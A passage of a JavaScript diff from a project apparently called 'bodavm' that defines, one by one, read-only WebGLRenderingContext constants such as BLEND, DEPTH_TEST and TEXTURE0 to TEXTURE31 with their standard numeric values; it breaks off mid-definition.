+bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5120 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", { + configurable: false, + enumerable: true, + writable: false, + value: 5121 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5122 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", { + configurable: false, + enumerable: true, + writable: false, + value: 5123 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5124 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 5125 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5126 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", { + configurable: false, + enumerable: true, + writable: false, + value: 6402 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6406 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 6407 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", { + configurable: false, + enumerable: true, + writable: false, + value: 6408 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", { + configurable: false, + enumerable: true, + writable: false, + value: 6409 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 6410 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", { + configurable: false, + enumerable: true, + writable: false, + value: 32819 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", { + configurable: false, + enumerable: true, + writable: false, + value: 32820 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", { + configurable: false, + enumerable: true, + writable: false, + value: 33635 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35632 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35633 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 34921 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36347 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36348 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35661 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 35660 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 34930 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", { + configurable: false, + enumerable: true, + writable: false, + value: 36349 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35663 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35712 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35714 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35715 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35717 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35718 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", { + configurable: false, + enumerable: true, + writable: false, + value: 35721 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 35724 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", { + configurable: false, + enumerable: true, + writable: false, + value: 35725 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", { + configurable: false, + enumerable: true, + writable: false, + value: 513 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 514 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 515 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", { + configurable: false, + enumerable: true, + writable: false, + value: 516 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 517 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", { + configurable: false, + enumerable: true, + writable: false, + value: 518 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", { + configurable: false, + enumerable: true, + writable: false, + value: 519 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", { + configurable: false, + enumerable: true, + writable: false, + value: 7680 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", { + configurable: false, + enumerable: true, + writable: false, + value: 7681 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", { + configurable: false, + enumerable: true, + writable: false, + value: 7682 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", { + configurable: false, + enumerable: true, + writable: false, + value: 7683 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 5386 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34055 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34056 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", { + configurable: false, + enumerable: true, + writable: false, + value: 7936 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", { + configurable: false, + enumerable: true, + writable: false, + value: 7937 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", { + configurable: false, + enumerable: true, + writable: false, + value: 7938 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9728 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9729 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9984 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", { + configurable: false, + enumerable: true, + writable: false, + value: 9985 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9986 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", { + configurable: false, + enumerable: true, + writable: false, + value: 9987 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10240 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", { + configurable: false, + enumerable: true, + writable: false, + value: 10241 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", { + configurable: false, + enumerable: true, + writable: false, + value: 10242 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", { + configurable: false, + enumerable: true, + writable: false, + value: 10243 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 5890 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34067 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", { + configurable: false, + enumerable: true, + writable: false, + value: 34068 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34069 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", { + configurable: false, + enumerable: true, + writable: false, + value: 34070 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34071 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", { + configurable: false, + enumerable: true, + writable: false, + value: 34072 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34073 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", { + configurable: false, + enumerable: true, + writable: false, + value: 34074 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34076 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", { + configurable: false, + enumerable: true, + writable: false, + value: 33984 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", { + configurable: false, + enumerable: true, + writable: false, + value: 33985 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", { + configurable: false, + enumerable: true, + writable: false, + value: 33986 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", { + configurable: false, + enumerable: true, + writable: false, + value: 33987 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", { + configurable: false, + enumerable: true, + writable: false, + value: 33988 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", { + configurable: false, + enumerable: true, + writable: false, + value: 33989 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", { + configurable: false, + enumerable: true, + writable: false, + value: 33990 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", { + configurable: false, + enumerable: true, + writable: false, + value: 33991 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", { + configurable: false, + enumerable: true, + writable: false, + value: 33992 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", { + configurable: false, + enumerable: true, + writable: false, + value: 33993 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", { + configurable: false, + enumerable: true, + writable: false, + value: 33994 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", { + configurable: false, + enumerable: true, + writable: false, + value: 33995 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", { + configurable: false, + enumerable: true, + writable: false, + value: 33996 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", { + configurable: false, + enumerable: true, + writable: false, + value: 33997 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", { + configurable: false, + enumerable: true, + writable: false, + value: 33998 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", { + configurable: false, + enumerable: true, + writable: false, + value: 33999 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", { + configurable: false, + enumerable: true, + writable: false, + value: 34000 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", { + configurable: false, + enumerable: true, + writable: false, + value: 34001 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", { + configurable: false, + enumerable: true, + writable: false, + value: 34002 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", { + configurable: false, + enumerable: true, + writable: false, + value: 34003 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", { + configurable: false, + enumerable: true, + writable: false, + value: 34004 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", { + configurable: false, + enumerable: true, + writable: false, + value: 34005 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", { + configurable: false, + enumerable: true, + writable: false, + value: 34006 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", { + configurable: false, + enumerable: true, + writable: false, + value: 34007 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", { + configurable: false, + enumerable: true, + writable: false, + value: 34008 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", { + configurable: false, + enumerable: true, + writable: false, + value: 34009 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", { + configurable: false, + enumerable: true, + writable: false, + value: 34010 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", { + configurable: false, + enumerable: true, + writable: false, + value: 34011 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", { + configurable: false, + enumerable: true, + writable: false, + value: 34012 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", { + configurable: false, + enumerable: true, + writable: false, + value: 34013 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", { + configurable: false, + enumerable: true, + writable: false, + value: 34014 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", { + configurable: false, + enumerable: true, + writable: false, + value: 34015 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34016 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 10497 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', 